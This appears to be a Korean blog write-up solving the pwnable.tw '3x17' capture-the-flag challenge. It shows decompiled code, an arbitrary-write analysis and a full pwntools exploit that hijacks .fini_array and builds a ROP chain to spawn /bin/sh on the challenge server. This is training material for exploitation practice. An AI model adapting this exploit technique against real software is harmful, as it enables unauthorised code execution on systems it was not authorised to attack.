gdb로 바이너리 분석해 보니, v4에 입력한 값을 전달한다는 것을 알 수 있다.
즉 sub_40EE70은 atoi이다.
실제로 문자 “ABCD”를 넣으니 필터링 된것을 알 수 있다. 즉 atoi 정수 형태의 문자만 입력받아 정수로 바꿔준다.
int result; // eax
char *v4; // [rsp+8h] [rbp-28h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
result = (unsigned __int8)++loop_cnt;
if ( loop_cnt == 1 )
{
write(1u, "addr:", 5uLL);
read(0, buf, 0x18uLL);
v4 = (char *)(int)atoi((__int64)buf); // 뭔가 이상한 작업을 하고 v4에 넣는다.
write(1u, "data:", 5uLL);
read(0, v4, 0x18uLL); // v4를 주소로 그 안에 있는 곳에 데이터를 씌운다.
result = 0;
}
if ( __readfsqword(0x28u) != v6 )
sub_44A3E0();
return result;
}
코드를 보면 char *v4 로 v4는 포인터이다. 즉 v4 = addr 이며 , 이를 참고하여 read함수에 주소를 전달하여 그 주소에 있는 값을 read(0, v4, 0x18uLL); 통해 입력받는다. 이때 입력 길이는 둘다 0x18, 24이다.
그럼 우리가 입력할 수 있는 길이는 24이니까, 주소로 8바이트를 정수 값으로 전달 할 수 있을지 확인 해보았다. 확인해보니, 길이가 19이므로 충분히 전달 가능하다.
하지만… atoi 내부에서 뭔가 처리를 거치고 4바이트 까지만 받는다.
결국 aaw 가 가능하다.
Found vuln! → AAW
문제는 현재 덮여쓰여서 익스할 곳이 없다..
0x000000004b4000 0x000000004ba000 0x000000000b3000 rw- /root/ctf/pwntw/317/3x17
4931584
call 0x40f940 후 call 0x40f6c0로 종료
음 설마했던 init_array, fini_array가 쓰기 권한이 있다.. 그럼 우리는 충분히 익스 가능하다. ROP chaining으로!
'''
[15] .init_array SHT_INIT_ARRAY 0x4b40e0 0xb30e0 0x10 0x8 UNKNOWN_FLAG 0x0 0x0 0x8
[16] .fini_array SHT_FINI_ARRAY 0x4b40f0 0xb30f0 0x10 0x8 UNKNOWN_FLAG 0x0 0x0 0x8
'''
익스
from pwn import *
context.log_level = 'debug'
context.terminal = ['urxvtc', '-e', 'sh', '-c']
context.arch = 'amd64'
#context.arch = 'i386'
ip = "chall.pwnable.tw"
port = 10105
p = remote(ip, port)
file_name = "./3x17"
#libc_name = ""
#p = process(file_name)#, env={'LD_PRELOAD':libc_name}
e = ELF(file_name)
#libc = ELF(libc_name)
def slog(name, addr): return success(": ".join([name, hex(addr)]))
'''
[15] .init_array SHT_INIT_ARRAY 0x4b40e0 0xb30e0 0x10 0x8 UNKNOWN_FLAG 0x0 0x0 0x8
[16] .fini_array SHT_FINI_ARRAY 0x4b40f0 0xb30f0 0x10 0x8 UNKNOWN_FLAG 0x0 0x0 0x8
'''
pause()
fini_array = 0x4b40f0
fini = 0x402960
call_sys = 0x00000000004022b4
pop_rdi = 0x0000000000401696
pop_rsi = 0x0000000000406c30
pop_rdx = 0x0000000000446e35
pop_rax = 0x000000000041e4af
leave_ret = 0x0000000000401c4b
p.sendlineafter("addr:", str(fini_array))
p.sendafter("data:", p64(fini) + p64(0x401B6D))
#loop start
p.sendlineafter("addr:", str(e.bss()))
p.sendafter("data:", "/bin/sh")
p.sendlineafter("addr:", str(fini_array + 16))
p.sendafter("data:", p64(pop_rdi) + p64(e.bss()))
p.sendlineafter("addr:", str(fini_array + 16*2))
p.sendafter("data:", p64(pop_rsi) + p64(0))
p.sendlineafter("addr:", str(fini_array + 16*3))
p.sendafter("data:", p64(pop_rdx) + p64(0))
p.sendlineafter("addr:", str(fini_array + 16*4))
p.sendafter("data:", p64(pop_rax) + p64(0x3b))
p.sendlineafter("addr:", str(fini_array + 16*5))
p.sendafter("data:", p64(call_sys))
p.sendlineafter("addr:", str(fini_array))
p.sendafter("data:", p64(leave_ret))
p.interactive()
'Pwnable > writeup' 카테고리의 다른 글
HCAMP24-1 Check this Exploit Code (0) | 2024.02.18 |
---|---|
pwnable.xyz message (0) | 2023.01.16 |
BDCTF - pwnrace (0) | 2022.07.24 |
CBHC - Mind Control2 (0) | 2022.07.23 |
CBHC - Mind Control (0) | 2022.07.23 |